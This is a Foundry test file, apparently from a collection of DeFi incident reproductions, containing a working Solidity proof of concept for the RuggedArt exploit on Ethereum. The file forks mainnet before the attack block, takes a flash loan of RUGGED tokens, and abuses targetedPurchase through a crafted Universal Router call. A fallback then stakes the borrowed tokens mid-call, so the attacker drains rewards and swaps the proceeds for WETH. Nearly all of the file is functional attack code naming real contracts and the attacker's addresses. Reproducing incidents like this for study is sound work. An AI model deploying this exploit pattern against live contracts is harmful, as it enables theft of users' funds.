src/test/2024-02/RuggedArt_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~5 $ETH
8// Attacker : https://etherscan.io/address/0x9733303117504c146a4e22261f2685ddb79780ef
9// Attack Contract : https://etherscan.io/address/0x9bb0ca1e54025232e18f3874f972a851a910e9cb
10// Vulnerable Contract : https://etherscan.io/address/0xfe380fe1db07e531e3519b9ae3ea9f7888ce20c6
11// Attack Tx : https://etherscan.io/tx/0x5a63da39b5b83fccdd825fed0226f330f802e995b8e49e19fbdd246876c67e1f
12 
13interface IRUGGEDUNIV3POOL {
14    function swap(
15        address recipient,
16        bool zeroForOne,
17        int256 amountSpecified,
18        uint160 sqrtPriceLimitX96,
19        bytes calldata data
20    ) external;
21    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
22}
23 
24interface IRUGGEDPROXY {
25    function claimReward() external;
26    function targetedPurchase(uint256[] memory _tokenIds, UniversalRouterExecute calldata swapParam) external payable;
27    function unstake(
28        uint256 _amount
29    ) external;
30    function stake(
31        uint256 _amount
32    ) external;
33 
34    struct UniversalRouterExecute {
35        bytes commands;
36        bytes[] inputs;
37        uint256 deadline;
38    }
39}
40 
41interface IRUGGED is IERC20 {
42    function getTokenIdPool() external view returns (uint256[] memory);
43    function ownerOf(
44        uint256 id
45    ) external view returns (address owner);
46}
47 
48interface IWeth is IERC20 {}
49 
50contract ContractTest is Test {
51    IRUGGEDUNIV3POOL pool = IRUGGEDUNIV3POOL(0x99147452078fa5C6642D3E5F7efD51113A9527a5);
52    IRUGGEDPROXY proxy = IRUGGEDPROXY(0x2648f5592c09a260C601ACde44e7f8f2944944Fb);
53    IRUGGED RUGGED = IRUGGED(0xbE33F57f41a20b2f00DEc91DcC1169597f36221F);
54    IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
55    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
56 
57    uint256 flashnumber = 22 * 1e18;
58 
59    function setUp() public {
60        // evm_version Requires to be "shanghai"
61        cheats.createSelectFork("mainnet", 19_262_234 - 1);
62        cheats.label(address(proxy), "proxy");
63        cheats.label(address(RUGGED), "RUGGED");
64        cheats.label(address(pool), "pool");
65        cheats.label(address(WETH), "WETH");
66        cheats.label(address(0xFe380fe1DB07e531E3519b9AE3EA9f7888CE20C6), "RuggedMarket");
67        cheats.label(address(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD), "Universal_Router");
68    }
69 
70    function testExploit() public {
71        payable(address(0)).transfer(WETH.balanceOf(address(this)));
72        deal(address(this), 0.000000000000000001 ether);
73        emit log_named_uint("Attacker Eth balance before attack:", WETH.balanceOf(address(this)));
74        pool.flash(address(this), flashnumber, 0, abi.encode(0));
75        bool zeroForOne = true;
76        uint160 sqrtPriceLimitX96 = 4_295_128_740;
77        bytes memory data = abi.encodePacked(uint8(0x61));
78        int256 amountSpecified = int256(RUGGED.balanceOf(address(this)));
79        pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
80        emit log_named_uint("Attacker Eth balance after attack:", WETH.balanceOf(address(this)));
81    }
82 
83    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
84        proxy.claimReward();
85        uint256[] memory tokenId = new uint256[](20);
86        tokenId[0] = 9721;
87        tokenId[1] = 5163;
88        tokenId[2] = 2347;
89        tokenId[3] = 3145;
90        tokenId[4] = 2740;
91        tokenId[5] = 1878;
92        tokenId[6] = 6901;
93        tokenId[7] = 3061;
94        tokenId[8] = 1922;
95        tokenId[9] = 5301;
96        tokenId[10] = 454;
97        tokenId[11] = 2178;
98        tokenId[12] = 8298;
99        tokenId[13] = 4825;
100        tokenId[14] = 9307;
101        tokenId[15] = 2628;
102        tokenId[16] = 6115;
103        tokenId[17] = 8565;
104        tokenId[18] = 7991;
105        tokenId[19] = 4945;
106 
107        bytes memory commands = new bytes(1);
108        commands[0] = 0x04;
109        bytes[] memory inputs = new bytes[](1);
110        inputs[0] = abi.encodePacked(abi.encode(address(0)), abi.encode(address(this)), abi.encode(1));
111        uint256 deadline = block.timestamp;
112        IRUGGEDPROXY.UniversalRouterExecute memory swapParam =
113            IRUGGEDPROXY.UniversalRouterExecute({commands: commands, inputs: inputs, deadline: deadline});
114 
115        proxy.targetedPurchase{value: 0.000000000000000001 ether}(tokenId, swapParam);
116        proxy.unstake(RUGGED.balanceOf(address(this)));
117        RUGGED.transfer(address(pool), flashnumber + fee0);
118    }
119 
120    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
121        return this.onERC721Received.selector;
122    }
123 
124    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
125        if (amount0Delta > 0) {
126            IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
127        } else if (amount1Delta > 0) {
128            IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
129        }
130    }
131 
132    fallback() external payable {
133        RUGGED.approve(address(proxy), type(uint256).max);
134        RUGGED.balanceOf(address(this));
135        proxy.stake(flashnumber);
136    }
137}